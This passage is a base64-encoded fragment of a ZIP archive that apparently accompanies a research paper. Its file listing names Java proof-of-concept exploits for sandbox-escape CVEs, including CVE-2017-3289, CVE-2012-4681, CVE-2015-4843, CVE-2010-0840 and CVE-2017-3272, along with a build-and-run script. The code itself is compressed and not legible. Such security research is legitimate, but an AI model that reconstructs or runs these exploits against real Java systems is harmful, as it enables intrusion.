CDxv+84ifu8KH9qP3cBg0pTCdQcFnSfleA7X+LlnxQl/46vFOumZMu1vfZP1BLAwQUAAAACAByb
9lMatqIP/4AAAC2AQAAPQAcAGNvZGUvdW5pbml0aWFsaXplZC1pbnN0YW5jZV9DVkUtMjAxNy0z
Mjg5L1BvQ0NsYXNzTG9hZGVyLmphdmFVVAkAAyjZMFuX2TBbdXgLAAEE6AMAAATOAwAAdZBNTsM
wEIX3PsVbtl0kB+gGUrpAAqkCLuDYEzKQeCL/NI1Q746jVCIsOrKlseebeU/D/SA+4kufdeFYim
qKVKWmIb9XvKoFMslznIrHrjuR7zkEFneH+QPCPcJLJBMz8SS95jxIlbudwnzwoFNsxeOZEo46n
dlK6tcFy+EbTjjQ0lGqIdUdG5hOh4CTHA5z8iLakgddIjkbsP77UQooS3y0HNBTnmoxctehJphW
u0+yWAh2iC2hznsxYgmeBk+BXNSze0hz42Zoka+nRepVLDdMvpqG/HpPA/mM3pz+97jZZkfIEVs
vIxyNeEsuck/Hi6FhVtps95m45quu6hdQSwMEFAAAAAgAcm/ZTIo4h/NFAgAAngQAADoAHABjb2
RlL3VuaW5pdGlhbGl6ZWQtaW5zdGFuY2VfQ1ZFLTIwMTctMzI4OS9idWlsZF9hbmRfcnVuLnNoV
VQJAAMo2TBbl9kwW3V4CwABBOgDAAAE6AMAAI1T227aQBB936+YGITaB9bAQxXREIlLqpYGpQql
qEojtOwueIO9a63XoQjx750116RBypPtmTNnzpkZly7CqdLhlGURKZESdFbwTeZww/JnJUyeYKg
CQmUL0EZlEjEYmUsHGbcqdZiykjtjV2TcawXlD8AF+AfGNUskvq877eHXyfBudN+9eag9bgL4GE
ClAulS4NueLs+kBaXT3JF+7/vkclKvN1rlOmkPB/32favc8EAeSb4AZud5IrXLyCzX3CmjsZrNJ
awJZw6uruDm7gsZ+VATyjUIU+ai0JnwSSzq9JLWPHd4DLMsqX6iNfrELPltcuBMgzBLHRsmAPvD
zJoEIufSrBl6NDXLBlUmpIT4TgDyr3JQrZMNIWoGD2j64CGAVguCAB7hM7hIao/mkYFAWmtsE7w
IcAawACeMY00lVzMlxUWA0MLXSYOZOnTYDua99N4G+ntni9KhDjmhz54ZcJOkKsYdMS22ETwbhm
vvt3+1u7j59cHyprioJ8TwoEifyeLukwXeib+RcW8bx8u4hlDI51Dncfxfnrokf Y0hW8PV651Gp
efAY5ZlMqOUBqRcKISqeNlnoLRKWEy9kjcxu14/TLfr2W7xGqR9Ceepx283sQma9E2CPzjcgmFg
hB+77axS/Brm6Y6uQGyDXRbHP02RGkgXGTG2yu27Ho2OUsGc9zldOcmNkH5V04IBrzeO/WdW8B8
GsBd7qq151H5WITmWmdyFr6ZRzDl4MdgTmbcM/8/I68Sys1KOuzgpFUZLxP8DUEsBAh4DFAAAAA
gAcm/ZTHCf7N2AAAAAoAAAAA8AGAAAAAAAAQAAAKSBAAAAAGNvZGUvUkVBRE1FLnR4dFVUBQADK
NkwW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAHJv2UyqT9LxSQQAAJ0LAAAvABgAAAAAAAEA
AACkgckAAABjb2RlL2NvbmZ1c2VkLWRlcHV0eV9DVkUtMjAxMi00NjgxL01pbmltYWwuamF2YVV
UBQADKNkwW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAHJv2Uypxf1pegMAAI4IAAAwABgAAA
AAAAEAAACkgXsFAABjb2RlL2ludGVnZXItb3ZlcmZsb3dfQ1ZFLTIwMTUtNDg0My9NaW5pbWFsL
mphdmFVVAUAAyjZMFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAByb9lMjxOAahMEAAC5CAAA
NAAYAAAAAAABAAAApIFfCQAAY29kZS90cnVzdGVkLW1ldGhvZC1jaGFpbl9DVkUtMjAxMC0wODQ

wL01pbmltYWwuamF2YVVUBQADKNkwW3V4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAHJv2UyQYs
LKoAMAAK8JAAA0ABgAAAAAAAEAAACkgeANAABjb2RlL3RydXN0ZWQtbWV0aG9kLWNoYWluX0NWR
S0yMDEwLTA4NDAvR2VuRmlsZS5qYXZhVVQFAAMo2TBbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAA
AAgAcm/ZTHkz/KvBAAAAOAEAADEAGAAAAAAAAAQAAAKSB7hEAAGNvZGUvdHJ1c3RlZC1tZXRob2Q
tY2hhaW5fQ1ZFLTIwMTAtMDg0MC9MaW5rLmphdmFVVAUAAyjZMFt1eAsAAQToAwAABOgDAABQSw
ECHgMUAAAACAByb9lM6OmaLOAAAABTAQAAMQAYAAAAAAAABAAAApIEaEwAAY29kZS90cnVzdGVkL
W1ldGhvZC1jaGFpbl9DVkUtMjAxMC0wODQwL1Rlc3QuamF2YVVUBQADKNkwW3V4CwABBOgDAAAE
6AMAAFBLAQIeAxQAAAAIAHJv2UzsKSCfkwAAAAYBAAAxABgAAAAAAAEAAACkgWUUAABjb2RlL3R
ydXN0ZWQtbWV0aG9kLWNoYWluX0NWRS0yMDEwLTA4NDAvaG93dG8udHh0VVQFAAMo2TBbdXgLAA
EE6AMAAAToAwAAUEsBAh4DFAAAAAgAcm/ZTK2QRrinAQAAswMAAC4AGAAAAAAAAAQAAAKSBYxUAA
GNvZGUvdHlwZS1jb25mdXNpb25fQ1ZFLTIwMTctMzI3Mi9NaW5pbWFsLmphdmFVVAUAAyjZMFt1
eAsAAQToAwAABOgDAABQSwECHgMUAAAACAByb9lM39ULbxkCAABBBAAANgAYAAAAAAAABAAAApIF
yFwAAY29kZS91bmluaXRpYWxpemVkLWluc3RhbmNlX0NWRS0yMDE3LTMyODkvTWluaW1hbC5qYX
ZhVVQFAAMo2TBbdXgLAAEE6AMAAAToAwAAUEsBAh4DFAAAAAgAcm/ZTGZFWWr9BAAA7BMAAEwAG
AAAAAAAAQAAAKSB+xkAAGNvZGUvdW5pbml0aWFsaXplZC1pbnN0YW5jZV9DVkUtMjAxNy0zMjg5
L0J5cGFzc0NhbGxUb1N1cGVyTWV0aG9kV3JpdGVyLmphdmFVVAUAAyjZMFt1eAsAAQToAwAABOg
DAABQSwECHgMUAAAACAByb9lMOlPoHMYDAAA5DAAARwAYAAAAAAABAAAApIF+HwAAY29kZS91bm
luaXRpYWxpemVkLWluc3RhbmNlX0NWRS0yMDE3LTMyODkvQ2xhc3NNb2RpZmllckJ5cGFzc1N1c
GVyLmphdmFVVAUAAyjZMFt1eAsAAQToAwAABOgDAABQSwECHgMUAAAACAByb9lMatqIP/4AAAC2
AQAAPQAYAAAAAAABAAAApIHFIwAAY29kZS91bmluaXRpYWxpemVkLWluc3RhbmNlX0NWRS0yMDE
3LTMyODkvUG9DQ2xhc3NMb2FkZXIuamF2YVVUBQADKNkwW3V4CwABBOgDAAAE6AMAAFBLAQIeAx
QAAAAIAHJv2UyKOIfzRQIAAJ4EAAA6ABgAAAAAAAEAAACkgTolAABjb2RlL3VuaW5pdGlhbGl6Z
WQtaW5zdGFuY2VfQ1ZFLTIwMTctMzI4OS9idWlsZF9hbmRfcnVuLnNoVVQFAAMo2TBbdXgLAAEE
6AMAAAToAwAAUEsFBgAAAAAOAA4AqwYAAPMnAAAAAA==
<<<base64-end

« Previous Paper

Next Paper »